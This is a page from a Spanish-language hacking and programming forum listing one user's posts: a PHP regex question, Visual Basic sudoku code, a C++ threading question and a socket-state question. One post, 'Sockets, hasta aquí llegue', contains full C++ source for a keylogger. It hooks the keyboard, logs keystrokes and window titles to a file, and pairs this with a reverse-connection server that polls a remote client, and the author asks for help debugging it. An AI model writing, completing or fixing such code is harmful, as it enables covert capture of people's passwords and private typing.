elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Temas
Páginas: 1 [2] 3 4 5 6
11  Programación / Programación Visual Basic / [Solucionado] Expresion regular para capturar comentarios multilinea de PHP en: 8 Enero 2012, 05:55 am
Hola que tal, estoy empezando con esto de las expresiones regulares, la siguiente me captura dentro de una cadena de texto todo lo que este dentro los simbolos de comnetarios de PHP por ejemplo:  
Código:
/* el comentario */

Esta seria su ER
Código:
ER="\/\*\s*([^\s]*)\s*\*\/"

Ahora si desearia capturar aquellos comentarios pero que estan en varias lineas, ¿Cual seria la expresion?
Es decir para comentarios tipo:
Código:
/* esto
es un
comentario */


He tratado de utilizar los modificadores de \n \r \m pero sin resultados.

Saludos


12  Programación / Programación Visual Basic / [Código] Mostrando los Candidatos de un Sudoku en: 4 Noviembre 2011, 03:19 am
Siempre que me he puesto a resolver algun sudoku mi primer problema era obtener los candidatos para cada celda vacia, luego de un largo quebradero de cabeza los hallaba pero cabia la posibilidad de caer en errores, algunos sudoku on-line te permitian ver todos los candidatos de una celda pero para sus propios sudokus, en mi caso mis sudokus son de mi telefono movil y alli no tengo tal opcion, de manera que me puse a codear en VB y he aqui este pequeño código que obtiene los candidatos para las celdas de un sudoku correctamente propuesto. Lo he hecho en el control MSHFlexGrid por lo que se debe agregar en los componentes para que el programa pueda ejecutar correctamente.

Es evidente que el programa NO RESUELVE un sudoku, lo cual me parece bien, pues para resolverlo, cada uno debe poder hacerlo y asi ejercitarse, ademas que terminarlo es bastante gratificante, aunque debe serlo tambien realizar un code que haga que el propio ordenador lo haga por nosotros. En fin gusto de cada uno, en mi caso prefiero resolverlo manualmente.

Bueno, sin mas, aquí el código para quien le sirva:
Código:
Option Explicit
'9 filas x 9 columnas
Dim Sud(1 To 9, 1 To 9) As Byte



Private Sub CMDLLenar_Click()

Dim f As Byte
Dim c As Byte


'cargamos el SUDOKU con sus valores originales FIJOS
Sud(1, 2) = 9
Sud(1, 4) = 6
Sud(1, 6) = 5

Sud(2, 7) = 8
Sud(2, 9) = 1

Sud(3, 1) = 2
Sud(3, 5) = 3
Sud(3, 8) = 6

Sud(4, 1) = 3
Sud(4, 2) = 8
Sud(4, 5) = 9

Sud(6, 5) = 1
Sud(6, 8) = 2
Sud(6, 9) = 7

Sud(7, 2) = 1
Sud(7, 5) = 8
Sud(7, 9) = 9

Sud(8, 1) = 6
Sud(8, 3) = 4

Sud(9, 4) = 2
Sud(9, 6) = 7
Sud(9, 8) = 5



'visualizamos el array en el Hierarchical
For c = 1 To 9
    For f = 1 To 9
     If Sud(f, c) <> 0 Then
      Colocar f, c, Sud(f, c)
     End If
    Next
Next

'coloreamos de rojo los numeros fijos para diferenciarlos de los candidatos
Dim fila1 As Integer
Dim columna1 As Integer
With H1
   ' Recorre las filas
    For fila1 = 0 To 8
        For columna1 = 0 To 8
        .Row = fila1
        .Col = columna1
         If Val(.Text) > 0 Then
            .CellForeColor = &HFF& 'rojooo
         End If
         Next
    Next
   
   
   
    'coloreamos algunas regiones para diferenciar
    For fila1 = 0 To 2
        For columna1 = 0 To 2
        .Row = fila1
        .Col = columna1
            .CellBackColor = RGB(127, 220, 98)
         Next
    Next


    For fila1 = 3 To 5
        For columna1 = 3 To 5
        .Row = fila1
        .Col = columna1
            .CellBackColor = RGB(127, 123, 208)
         Next
    Next

    For fila1 = 6 To 8
        For columna1 = 6 To 8
        .Row = fila1
        .Col = columna1
            .CellBackColor = RGB(247, 123, 198)
         Next
    Next

    For fila1 = 0 To 2
        For columna1 = 6 To 8
        .Row = fila1
        .Col = columna1
            .CellBackColor = RGB(247, 220, 198)
         Next
    Next

    For fila1 = 6 To 8
        For columna1 = 0 To 2
        .Row = fila1
        .Col = columna1
            .CellBackColor = RGB(47, 220, 198)
         Next
    Next

End With


End Sub

Private Sub Command1_Click()


'///////////// Iniciamos a visualizar los candidatos ///////////


Dim Candidatos As Byte

Dim Casas As Byte '9 regiones o casas

For Casas = 1 To 9 'buscaremos los candidatos en las 9 casas o regiones
    For Candidatos = 1 To 9
      BuscarCandidatos Casas, Candidatos 'buscamos los candidatos posibles en las 9 casas
    Next
Next
 

End Sub
'Funcion que busca un valor en la fila indicada
Private Function BuscarFila(Fila As Byte, ValorBuscado As Byte)
Dim c As Byte
For c = 1 To 9
 If Sud(Fila, c) = ValorBuscado Then
  BuscarFila = True
  Exit Function
 Else
 BuscarFila = False
 End If
Next
End Function
'Funcion que busca un valor en la columna indicada
Private Function BuscarColumna(Columna As Byte, ValorBuscado As Byte)
Dim f As Byte
For f = 1 To 9
 If Sud(f, Columna) = ValorBuscado Then
  BuscarColumna = True
  Exit Function
  Else
  BuscarColumna = False
 End If
Next

End Function

'Funcion que nos dice si un valor indicado existe o no en una region o casa indicada
Function Encontrar(Casa As Byte, Valor As Byte) As Boolean
Dim f As Byte, c As Byte
   
    If Casa = 1 Then 'quiere decir que se va a buscar en la casa 1
        For f = 1 To 3 'busqueda por filas
              For c = 1 To 3
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If
   
    If Casa = 2 Then 'quiere decir que se va a buscar en la casa 2
        For f = 1 To 3 'busqueda por filas
              For c = 4 To 6
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 3 Then 'quiere decir que se va a buscar en la casa 3
        For f = 1 To 3 'busqueda por filas
              For c = 7 To 9
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 4 Then
        For f = 4 To 6 'busqueda por filas
              For c = 1 To 3
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 5 Then
        For f = 4 To 6 'busqueda por filas
              For c = 4 To 6
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 6 Then
        For f = 4 To 6 'busqueda por filas
              For c = 7 To 9
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 7 Then
        For f = 7 To 9 'busqueda por filas
              For c = 1 To 3
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 8 Then
        For f = 7 To 9 'busqueda por filas
              For c = 4 To 6
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 9 Then
        For f = 7 To 9 'busqueda por filas
              For c = 7 To 9
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If


End Function

'procedimiento que simplemente coloca un valor en el Flex Grid
Private Sub Colocar(Fila As Byte, Columna As Byte, Valor As Byte)
 Dim a As Byte, b As Byte
 Dim fila1 As Integer
 With H1
 .TextMatrix(Fila - 1, Columna - 1) = .TextMatrix(Fila - 1, Columna - 1) & Valor
 End With
End Sub


'iniciamos la busqueda de candidatos
Private Sub BuscarCandidatos(Casa As Byte, ValorBuscadoEnLaCasa As Byte)
Dim f1 As Byte
Dim f2 As Byte
Dim c1 As Byte
Dim c2 As Byte

'establemos las coordenadas para cada region o casa
Select Case Casa
 
 Case 1:
  f1 = 1
  f2 = 3
  c1 = 1
  c2 = 3
 
 Case 2:
  f1 = 1
  f2 = 3
  c1 = 4
  c2 = 6
 
 Case 3:
  f1 = 1
  f2 = 3
  c1 = 7
  c2 = 9
 
 Case 4:
  f1 = 4
  f2 = 6
  c1 = 1
  c2 = 3
 
 Case 5:
  f1 = 4
  f2 = 6
  c1 = 4
  c2 = 6
 
 Case 6:
  f1 = 4
  f2 = 6
  c1 = 7
  c2 = 9
 
 Case 7:
  f1 = 7
  f2 = 9
  c1 = 1
  c2 = 3
 
 Case 8:
  f1 = 7
  f2 = 9
  c1 = 4
  c2 = 6
 
 Case 9:
  f1 = 7
  f2 = 9
  c1 = 7
  c2 = 9
 
End Select

Dim f As Byte
Dim c As Byte


     If Encontrar(Casa, ValorBuscadoEnLaCasa) = False Then 'si el valor buscado no es un numero FIJO
         
        For f = f1 To f2 'busqueda por filas
              For c = c1 To c2
                      If Sud(f, c) = 0 Then 'si esta vacio entonces alli debemos poner un candidato
                            'para que sea candidato, no debe estar ni en la fila ni en la columna (mucho menos en la region o casa)
                            If BuscarFila(f, ValorBuscadoEnLaCasa) = False And BuscarColumna(c, ValorBuscadoEnLaCasa) = False Then
                              Colocar f, c, ValorBuscadoEnLaCasa 'de ser asi entonces se considera como candidato
                            End If
                      End If
              Next
        Next
       
     End If
End Sub

Private Sub Form_Load()
Dim f As Byte, c As Byte
For f = 0 To 8
H1.RowHeight(f) = 700
Next
For f = 0 To 8
H1.ColWidth(f) = 700
Next
End Sub


El sudoku propuesto: (Boton Iniciar Sudoku)


El sudoku propuesto con todos sus candidatos: (Boton Encontrar Candidatos)
13  Programación / Programación C/C++ / ¿Qué esta mal con esta creacion de HILO (Thread)? en: 17 Septiembre 2011, 21:57 pm
Buenas a todos, googleando, encontre este ejemplo de creacion de un HILO y modificandolo un poco llama a una funcion y ésta a su vez ejecuta un bucle de 1000 iteraciones, al hacerlo correr en VS2005, la ventana tipica aparece pero al parecer la aplicacion o no crea el hilo o no detecta cuando éste ha terminado, les dejo el codigo:
Código
  1. #define _WIN32_WINNT 0x0500
  2. #define _CRT_SECURE_NO_DEPRECATE
  3. #include <windows.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <tchar.h>
  7. #include <string>
  8. #include <atlstr.h>
  9.  
  10. /*Declaraciones para nuestro hilo*/
  11. DWORD WINAPI ThreadFunc( LPVOID );
  12. UINT TerminoProceso;
  13. static DWORD dwThreadId;
  14. static HANDLE hThread=NULL;
  15. DWORD cod;
  16. char cade[20];
  17.  
  18.  
  19.  
  20.  
  21. MSG messages;
  22.  
  23. // Global variables
  24. int a;
  25. int b;
  26. int c;
  27. CString t;
  28.  
  29.  
  30.  
  31. // El nombre de la clase de la ventana principal
  32. static TCHAR szWindowClass[] = _T("VentanaWin32");
  33.  
  34. // El texto que aparece en la ventana principal
  35. static TCHAR szTitle[] = _T("Una ventana tipica de win32");
  36.  
  37.  
  38. HINSTANCE hInst; //variable global para
  39.  
  40. //El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
  41. LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
  42.  
  43. /************************************************************/
  44. /************************FUNCION PRINCIPAL*******************/
  45. /************************************************************/
  46. int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  47. {
  48.  
  49.  
  50. /*Creamos el hilo*/
  51. hThread = CreateThread(
  52. NULL, // sin atributos de seguridad
  53. 0, // Tamaño de la pila por defecto
  54. ThreadFunc, // Funcion del hilo
  55.        hInstance, // argumento de la funcion del hilo (pasado por referencia)
  56. 0, // creacion de banderas por defecto
  57. &dwThreadId); // puntero a la variable donde se guardara el id del hilo
  58.  
  59.  
  60.  
  61.  
  62.    //Esta estructura contiene información sobre la ventana, tal como el icono de la aplicación,
  63. //el color de fondo de la ventana, el nombre que aparece en la barra de título,
  64. //el nombre de la función de procedimiento de ventana, etc.
  65. WNDCLASSEX wcex;
  66.  
  67.    wcex.cbSize = sizeof(WNDCLASSEX);
  68.    wcex.style          = CS_HREDRAW | CS_VREDRAW;
  69.    wcex.lpfnWndProc    = WndProc;
  70.    wcex.cbClsExtra     = 0;
  71.    wcex.cbWndExtra     = 0;
  72.    wcex.hInstance      = hInstance;
  73.    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
  74.    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
  75.    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
  76.    wcex.lpszMenuName   = NULL;
  77.    wcex.lpszClassName  = szWindowClass;
  78.    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
  79.    if (!RegisterClassEx(&wcex)){
  80.        MessageBox(NULL,
  81.            _T("Call to RegisterClassEx failed!"),
  82.            _T("Win32 Guided Tour"),
  83.            NULL);
  84.        return 1;
  85.    }    
  86. hInst = hInstance;
  87.    HWND hWnd = CreateWindow(
  88.        szWindowClass,
  89.        szTitle,
  90.        WS_OVERLAPPEDWINDOW,
  91.        CW_USEDEFAULT, CW_USEDEFAULT,
  92.        500, 200,
  93.        NULL,
  94.        NULL,
  95.        hInstance,
  96.        NULL
  97.    );
  98.    ShowWindow(hWnd,
  99.        nCmdShow);
  100.    UpdateWindow(hWnd);
  101.  
  102.    MSG msg;
  103.    while (GetMessage(&msg, NULL, 0, 0))
  104.    {
  105.        TranslateMessage(&msg);
  106.        DispatchMessage(&msg);
  107.    }
  108.  
  109.    return (int) msg.wParam;
  110. }
  111.  
  112.  
  113.  
  114.  
  115. /*Funcion que sera ejecutada por el HILO*/
  116. DWORD WINAPI ThreadFunc( LPVOID lpParam )
  117. {
  118. int i,j=0,l=0;
  119. HWND *mhwnd,mHwnd;
  120.  
  121. mhwnd=(HWND*)lpParam;
  122. mHwnd=*mhwnd;
  123.  
  124.  
  125. for(i=0;i<10000;i++)
  126. {
  127. j++;
  128. }
  129. PostMessage(mHwnd,TerminoProceso,0,0); //cuando finalice...
  130. return (DWORD)l;
  131. }
  132.  
  133.  
  134. //Callback de los mensajes...
  135. LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
  136. {
  137.    PAINTSTRUCT ps;
  138.    HDC hdc;
  139.    TCHAR greeting[] = _T("Probando Hilos...");
  140.  
  141.  
  142.  
  143. /*para reconocer cuando termina el HILO y asi poder destruirlo*/
  144. if(message==TerminoProceso)
  145. {
  146. cod=GetExitCodeThread(hThread,&cod);
  147. while(cod==STILL_ACTIVE)
  148. {
  149. GetExitCodeThread(hThread,&cod);
  150. }
  151. a=(int)cod;
  152. itoa(a,cade,10);
  153. MessageBoxW(hWnd,L"dddd",L"info",MB_ICONINFORMATION);
  154. CloseHandle(hThread);
  155. hThread=NULL;
  156. return 0;
  157. }
  158.  
  159.  
  160. //procesamos los mensajes principales
  161. switch (message)
  162.    {
  163.  
  164. case WM_CREATE:
  165. /*registramos un nuestro mensaje personalizado para detectar el momento en que el hilo termina*/
  166. TerminoProceso=RegisterWindowMessage("ProcesoFin");
  167. break;
  168.  
  169.    case WM_PAINT:
  170.        hdc = BeginPaint(hWnd, &ps);
  171. /*un mensaje comun en la ventana*/
  172.        TextOut(hdc,5, 5,greeting, _tcslen(greeting));
  173.        EndPaint(hWnd, &ps);
  174.    break;
  175.  
  176.  
  177.    case WM_DESTROY:
  178.        PostQuitMessage(0);
  179.        break;
  180.  
  181.    default:
  182.        return DefWindowProc(hWnd, message, wParam, lParam);
  183.        break;
  184.    }
  185.  
  186.    return 0;
  187. }
  188.  
  189.  

Pienso que estoy pasando mal algun parametro a CreateThread, alguna sugerencia.???
14  Programación / Programación C/C++ / Sockets, hasta aquí llegue. en: 22 Agosto 2011, 20:24 pm
Le he dado vueltas y vueltas al tema de Sockets para reescribir mi servidor en C++ (usando Visual Studio 2005) y llegue a este punto del cual me es imposible salir sin su ayuda, se que el codigo puede estar un tanto desordenado pero ruego que me entiendan  y desde ya gracias por su ayuda.

En fin posteo mi avance para que alguien que se anime a compilarlo y ver por que se dan los errores que explico a continuacion:

 1. Es un proyecto normal de Win32 (Con ventana)
 2. En la entrada principal al WinMain instalo el hook al teclado
 3. Luego Inicializo el Socket
 4. En el mensaje WM_CREATE, creo un timer cada 2 segundos
 5. Al recibir el evento WM_TIMER, hago que mi timer envie la peticion cada 2 segundos. Y AL HACER ESTO, TODO WINDOWS QUEDA SEMI BLOQUEADO, LAS LETRAS TARDAN EN APARECER POR EJEMPLO EN EL BLOC DE NOTAS LAS VENTANAS DIFICILMENTE SE ARRASTRAN Y EL HOOK DEL KEYLOGGER FUNCIONA A MEDIAS AL NO LOGEAR ALGUNAS TECLAS DE LO QUE SE ESCRIBE.

PERO SI QUITO LAS LLAMADAS A LAS FUNCIONES QUE INICIALIZAN O CONECTAN EL SOCKET TODO FUNCIONA BIEN. LO QUE ME HACE PENSAR QUE ALGO VA MAL ALLI.








La idea de este codigo es un Server (Conexion Inversa) que deberia funcionar al lado de un Hook al teclado. 

Veamos:

  • Archivo->Nuevo->Proyecto->Aplicacion Win 32
  • ALT+F7->Propiedades de Configuracion->Juego de Caracteres->Multibyte


Código
  1.  
  2. #define _WIN32_WINNT 0x0500
  3. #define _CRT_SECURE_NO_DEPRECATE
  4.  
  5. #include <windows.h>
  6. #include <stdlib.h>
  7. #include <tchar.h>
  8. #include <iostream>
  9. #include <string>
  10. #include <atlstr.h>
  11. #include <stdio.h>
  12. #include <winuser.h>
  13. #pragma comment(lib,"ws2_32.lib")
  14. using namespace std;
  15.  
  16.  
  17.  
  18. //FUNCION QUE MUESTRA EN EL TITULO LO QUE LE INDIQUEMOS, PARA FINES DE DEPURACION
  19. void AlTitulo(char *Buffer);
  20.  
  21.  
  22. //FUNCION DEL KEYLOGGER: MIRA SI LA TECLA CAPS ESTA PRESIONADA O NO
  23. int isCapsLock(){
  24.     if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0)   return 1;
  25.     else   return 0; }
  26.  
  27. //CALLBACK DEL HOOK AL TECLADO
  28. LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam);
  29.  
  30. //ALGUNAS VARIABLES PARA EL KEYLOGGER
  31. HWND ventana; //EL HANDLE DE LA VENTANA ACTIVA
  32. char TVentana[500]; //EL TITULO
  33. char tp[500];
  34. char bufferKL[5];
  35. string HISTORY; //DONDE ACUMULAREMOS LO QUE SE ESTA DIGITANDO
  36.  
  37.  
  38.  
  39.  
  40. //DEFINICIONES PARA NUESTRO SOCKET
  41. WSADATA wsa;
  42. SOCKET sock;
  43. struct hostent *host;
  44. struct sockaddr_in direc;
  45. int conex;
  46. int ts=-1;
  47. int len=100;
  48. char Buffer[1024];
  49.  
  50. //UNA FORMA DE SEPARAR LO QUE LLEGARA DESDE EL CLIENTE
  51. void DArrival();
  52.  
  53.  
  54. //FUNCIONES PARA MANIPULAR NUESTRO SOCKET
  55.  
  56.                       //INICIALIZAMOS NUESTRO SOCKET
  57. void inicializar(){
  58.   WSAStartup(MAKEWORD(2,2),&wsa);  
  59.   host=gethostbyname("127.0.0.1");
  60.   //creamos el socket
  61.   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  62.  
  63.   //direccion y puerto
  64.   direc.sin_family=AF_INET;
  65.   direc.sin_port=htons(1234);
  66.   direc.sin_addr = *((struct in_addr *)host->h_addr);
  67.   memset(direc.sin_zero,0,8);
  68.  
  69. }
  70.  
  71.                       //CONECTAMOS, NOS DEVOLVERA UN VALOR SEGUN SI SE CONECTA O NO
  72. int conectar(){
  73.   //Intentamos establecer la conexión hasta que lo logremos
  74.   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
  75.   return conex;
  76. }
  77.  
  78. //PARA CERRAR EL SOCKET
  79.                       void cerrar(){
  80. closesocket(sock);
  81. }
  82.  
  83.  
  84.  
  85. MSG messages; //PARA EL BUCLE DE MENSAJES DE LA APLICACION
  86.  
  87.  
  88. #define TIMER_ID1 1 /*PRIMER TIMER QUE SE ENCARGARA DE LANZAR LOS INTENTOS DE CONEXION CADA 2 SEGUINDOS*/
  89.  
  90. // El nombre de la clase de la ventana principal
  91. static TCHAR szWindowClass[] = _T("VentanaWin32");
  92.  
  93. // El texto que aparece en la ventana principal
  94. static TCHAR szTitle[] = _T("Una ventana tipica de win32");
  95.  
  96.  
  97. HINSTANCE hInst; //variable global sacar el HINSTANCE del WinMain
  98.  
  99. //El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
  100. LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
  101.  
  102.  
  103.  
  104. UINT mt; //PARA IDENTIFICAR A NUESTRO /*PRIMER TIMER*/
  105.  
  106. //FUNCION PRINCIPAL
  107. int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  108. /*ENTRADA PRINCIPAL: COMIENZA LA ODISEA...*/
  109. {
  110.  
  111. len=sizeof(struct sockaddr); //INICIAMOS LEN PARA NUESTRO SOCKET
  112. inicializar(); //INICIALIZAMOS EL SOCKET /*SI QUITO ESTO TODO VA BIEN, SINO WINDOWS VA MUY LENTO: PERO SI LO QUITO COMO Y DONDE INICIALIZO EL SOCKET??? */
  113.  
  114.        //INSTALAMOS EL HOOK AL TECLADO
  115. HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,capturaTeclas,hInstance,0);
  116.  
  117.  
  118.    //Esta estructura contiene información sobre la ventana
  119.    WNDCLASSEX wcex;
  120.    wcex.cbSize = sizeof(WNDCLASSEX);
  121.    wcex.style          = CS_HREDRAW | CS_VREDRAW;
  122.    wcex.lpfnWndProc    = WndProc;
  123.    wcex.cbClsExtra     = 0;
  124.    wcex.cbWndExtra     = 0;
  125.    wcex.hInstance      = hInstance;
  126.    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
  127.    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
  128.    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
  129.    wcex.lpszMenuName   = NULL;
  130.    wcex.lpszClassName  = szWindowClass;
  131.    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
  132.  
  133.    //registramos la clase
  134. if (!RegisterClassEx(&wcex)) return 1;
  135.  
  136.    //almacenamos 'hInstance' que es un parametro de la funcion principal WinMain en una variable Global
  137. hInst = hInstance;
  138.  
  139.    //parametros para crear la ventana  principal
  140. HWND hWnd = CreateWindow(szWindowClass,szTitle,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT,500, 200,NULL,NULL,hInstance,NULL);
  141.  
  142. //mostramos la ventanA
  143.    ShowWindow(hWnd,nCmdShow);
  144.    UpdateWindow(hWnd);
  145.  
  146.  
  147.   MSG msg;
  148.    while (GetMessage(&msg, NULL, 0, 0))
  149.    {
  150.        TranslateMessage(&msg);
  151.        DispatchMessage(&msg);
  152.    }
  153.  
  154.    return (int) msg.wParam;
  155. }
  156.  
  157.  
  158. //funcion para procesar los mensajes de la ventana principal
  159. LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
  160. {
  161.    PAINTSTRUCT ps;
  162.    HDC hdc;
  163.    TCHAR greeting[] = _T("Hola A todos");
  164.  
  165.    switch (message)
  166.    {
  167. case WM_CREATE:
  168.               /*CREAMOS NUESTRO TIMER QUE HARA QUE EL SOCKET LANZE LA PETICION DE CONEXION CADA 2 SEGUNDOS*/
  169. mt=SetTimer(hWnd, TIMER_ID1, 2000, 0);
  170. break;
  171.  
  172.  
  173.        //USAMOS ESTE MENSAJE EN VEZ DE UN CALLBACK
  174. case WM_TIMER:
  175. switch (wParam){
  176. case TIMER_ID1: /*<--- PRIMER TIMER */
  177.  
  178.      //CADA 2 SEGUNDOS INTENTARA CONECTAR
  179.                                                       if(ts==-1){
  180. ts=conectar(); /*IGUAL: SI QUITO ESTO VA BIEN PERO SINO WINDOWS VA MAL*/
  181.                                                       //Y NOS AVISARA EN EL TITULO DE LA VENTANA
  182. AlTitulo("Intento de conexion enviada...");
  183. }
  184.                                                       //CUANDO LOGRE CONECTARSE...
  185.                                                        else{
  186. DArrival(); //LLAMAMOS A ESTA FUNCION
  187. KillTimer(NULL,mt);
  188.  
  189. }
  190.  
  191. break;
  192.  
  193.  
  194.  
  195.                                //MAS ADELANTE QUIZA NECESITEMOS UN SEGUNDO TIMER
  196. //case TIMER_ID2: //<--- Segundo Timer
  197. //break;
  198. }
  199.  
  200. break;
  201.  
  202.  
  203.  
  204.    case WM_PAINT:
  205.       hdc = BeginPaint(hWnd, &ps); //aqui iniciamos
  206.      //MOSTRAMOS UN SALUDO
  207.       TextOut(hdc,5, 5,greeting, _tcslen(greeting));
  208.        EndPaint(hWnd, &ps); //aqui terminamos
  209.    break;
  210.  
  211.  
  212.    case WM_DESTROY:
  213.        PostQuitMessage(0);
  214.        break;
  215.  
  216.    default:
  217.        return DefWindowProc(hWnd, message, wParam, lParam);
  218.        break;
  219.    }
  220.  
  221.    return 0;
  222. }
  223.  
  224.  
  225. /*LA FUNCION QUE DEBERIA LLAMARSE CUANDO EL SOCKET SE CONECTA*/
  226. /*PERO ESTO YA NO SE EJECUTA O AL MENOS NO HIZE LAS PRUEBAS HASTA AQUI*/
  227. void DArrival(){
  228. while (len!=0){ //mientras estemos conectados
  229.   len=recv(sock,Buffer,1023,0); //recibimos los datos que envie
  230.  
  231. if (len>0){ //si seguimos conectados
  232. Buffer[len]=0; //le ponemos el final de cadena
  233.  
  234. AlTitulo(Buffer);
  235.  
  236.  
  237. }
  238. }
  239. ts=-1;
  240.  
  241. }
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.  
  257.  
  258.  
  259.  
  260.  
  261. //DEFINICION DE LA FUNCION DEL HOOK, ESTO FUNCIONA NO HAY MUCHO QUE DECIR AQUI.
  262. LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {
  263.  
  264. PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
  265. DWORD Tecla = puntero->vkCode;
  266.  
  267.     //vemos si wParam es igual a WM_KEYDOWN (tecla presionada)
  268. if (wParam == WM_KEYDOWN ||  wParam == WM_SYSKEYDOWN) {
  269. switch (puntero->vkCode) {
  270. case VK_RETURN: //SI PRESIONA ENTER GUARDAMOS EN EL LOG LO QUE SE HA ACUMULADO EN 'HISTORY'
  271.  
  272. HISTORY.append("\n");
  273.  
  274. {
  275. FILE *mif=fopen("logger2.txt","a+");
  276. fputs(HISTORY.c_str(),mif); //guardamos.
  277. fclose(mif);
  278. }
  279. HISTORY="";
  280.  
  281. break;  //se presiono un enter
  282.  
  283. case VK_LMENU: HISTORY.append("[AI]"); break;  //la tecla alt
  284. case VK_RMENU:  HISTORY.append("[AD]"); break;  //la tecla alt
  285. case VK_BACK: HISTORY.append("[<]");    break; //la tecla retroceso
  286. case VK_TAB: HISTORY.append("[T]");    break; //la tecla tabulador
  287. case VK_END : HISTORY.append("[F]");    break; //la tecla fin
  288. case VK_HOME: HISTORY.append("[I]");    break; //la tecla home
  289. case VK_LEFT: HISTORY.append("[L]");    break; //la tecla felcha izquierda
  290. case VK_UP: HISTORY.append("[U]");    break; //la tecla flecha arriba
  291. case VK_RIGHT: HISTORY.append("[R]");    break; //la tecla flecha derecha
  292. case VK_DOWN: HISTORY.append("[D]");    break; //la tecla flecha abajo
  293. case VK_DELETE: HISTORY.append("[S]");    break; //la tecla suprimir
  294. case VK_MULTIPLY:HISTORY.append("*");    break; //la tecla * del teclado num
  295. case VK_ADD: HISTORY.append("+");    break; //la tecla + del teclado num
  296. case VK_SUBTRACT:HISTORY.append("-");    break; //la tecla -
  297. case VK_DIVIDE: HISTORY.append("/");    break; //la tecla /
  298. case VK_DECIMAL:HISTORY.append(".");    break; //la tecla . del teclado num
  299. case VK_CAPITAL:HISTORY.append("[CAPS]");    break; //CAPS LOCK
  300.  
  301. //registramos las teclas normales
  302. default:
  303. if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
  304. if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){
  305. puntero->vkCode+=32;
  306.  
  307.  
  308.  
  309. sprintf(bufferKL,"%c",puntero->vkCode);
  310. HISTORY.append(bufferKL);
  311.  
  312. }else{
  313. sprintf(bufferKL,"%c",puntero->vkCode);
  314. HISTORY.append(bufferKL);
  315. }
  316.  
  317. }
  318. if (Tecla==VK_SPACE){ //espacio en blanco
  319. HISTORY.append(" ");
  320. }
  321.  
  322.  
  323.  
  324. }
  325. //GUARDAMOS CON EL TITULO DE VENTANA
  326.  
  327. if(GetForegroundWindow()!=ventana){
  328. ventana=GetForegroundWindow();
  329. GetWindowText(ventana,TVentana,80);
  330. sprintf(tp,"\n[%s]\n",TVentana);
  331. HISTORY.append(tp);
  332. }
  333.  
  334. }
  335.  
  336.   //en el caso de que haya otro hook instalado, le damos el pase para que haga lo suyo
  337. return CallNextHookEx(NULL, nCode, wParam, lParam);
  338. }
  339.  
  340.  
  341.  
  342.  
  343.  
  344.  
  345.  
  346.  
  347.  
  348.  
  349.  
  350.  
  351.  
  352.  
  353.  
  354.  
  355. /*****************FUNCIONES UTILES*************************************/
  356. void AlTitulo(char *Buffer){
  357. HWND ventana;
  358. ventana=GetForegroundWindow();
  359. SetWindowText(ventana,Buffer);
  360.  
  361. }
  362.  


Resumiendo la consulta:

¿por que windows se detiene o se pone lento cuando con un timer hago que el socket de este server se conecte a su cliente?, el timer esta a 2 segundos, al sacar las llamadas a las funciones de 'inicializar' y 'conectar', todo va bien pero obviamente necesito hacer eso para poder conectarme.

Un Saludo.


15  Programación / Programación C/C++ / Sockets, Saber su estado Conectado o Desconectado en: 21 Agosto 2011, 01:43 am
Que tal, pues lo del asunto, cual es la forma correcta de saber si un socket normal esta o no conectado en C++???.

Recuerdo que en basic, teniamos la propiedad 'State' que nos decia en cualquier momento si el Socket estaba o no conectado.

Agradecido desde ya por su tiempo y respuesta.
